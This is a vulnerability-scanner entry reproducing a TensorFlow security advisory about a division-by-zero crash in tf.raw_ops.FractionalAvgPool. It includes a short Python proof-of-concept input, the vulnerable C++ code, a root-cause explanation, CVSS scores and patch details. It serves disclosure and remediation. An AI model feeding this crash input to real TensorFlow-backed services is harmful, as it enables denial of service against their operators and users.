QID 982499

QID 982499: Python (pip) Security Update for tensorflow-gpu (GHSA-f78g-q7r4-9wcv)

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.FractionalAvgPool`:

```python
import tensorflow as tf

value = tf.constant([60], shape=[1, 1, 1, 1], dtype=tf.int32)
pooling_ratio = [1.0, 1.0000014345305555, 1.0, 1.0]
pseudo_random = False
overlapping = False
deterministic = False
seed = 0
seed2 = 0

tf.raw_ops.FractionalAvgPool(
value=value, pooling_ratio=pooling_ratio, pseudo_random=pseudo_random,
overlapping=overlapping, deterministic=deterministic, seed=seed, seed2=seed2)
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L85-L89) computes a divisor quantity by dividing two user controlled values:

```cc
for (int i = 0; i < tensor_in_and_out_dims; ++i) {
output_size[i] = static_cast<int>(std::floor(input_size[i] / pooling_ratio_[i]));
DCHECK_GT(output_size[i], 0);
}
```

The user controls the values of `input_size[i]` and `pooling_ratio_[i]` (via the `value.shape()` and `pooling_ratio` arguments). If the value in `input_size[i]` is smaller than the `pooling_ratio_[i]`, then the floor operation results in `output_size[i]` being 0. The `DCHECK_GT` line is a no-op outside of debug mode, so in released versions of TF this does not trigger.

Later, these computed values [are used as arguments](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L96-L99) to [`GeneratePoolingSequence`](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_pool_common.cc#L100-L108). There, the first computation is a division in a modulo operation:

```cc
std::vector<int64> GeneratePoolingSequence(int input_length, int output_length,
GuardedPhiloxRandom* generator,
bool pseudo_random) {
...
if (input_length % output_length == 0) {
diff = std::vector<int64>(output_length, input_length / output_length);
}
...
}
```

Since `output_length` can be 0, this results in runtime crashing.

  • CVSS V3 rated as Medium - 5.5 severity.
  • CVSS V2 rated as Low - 2.1 severity.
  • Solution
    We have patched the issue in GitHub commit [548b5eaf23685d86f722233d8fbc21d0a4aecb96](https://github.com/tensorflow/tensorflow/commit/548b5eaf23685d86f722233d8fbc21d0a4aecb96).

    The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
    Vendor References

    CVEs related to QID 982499

    Software Advisories
    Advisory ID Software Component Link
    GHSA-f78g-q7r4-9wcv tensorflow URL Logo github.com/advisories/GHSA-f78g-q7r4-9wcv
    GHSA-f78g-q7r4-9wcv tensorflow-cpu URL Logo github.com/advisories/GHSA-f78g-q7r4-9wcv
    GHSA-f78g-q7r4-9wcv tensorflow-gpu URL Logo github.com/advisories/GHSA-f78g-q7r4-9wcv

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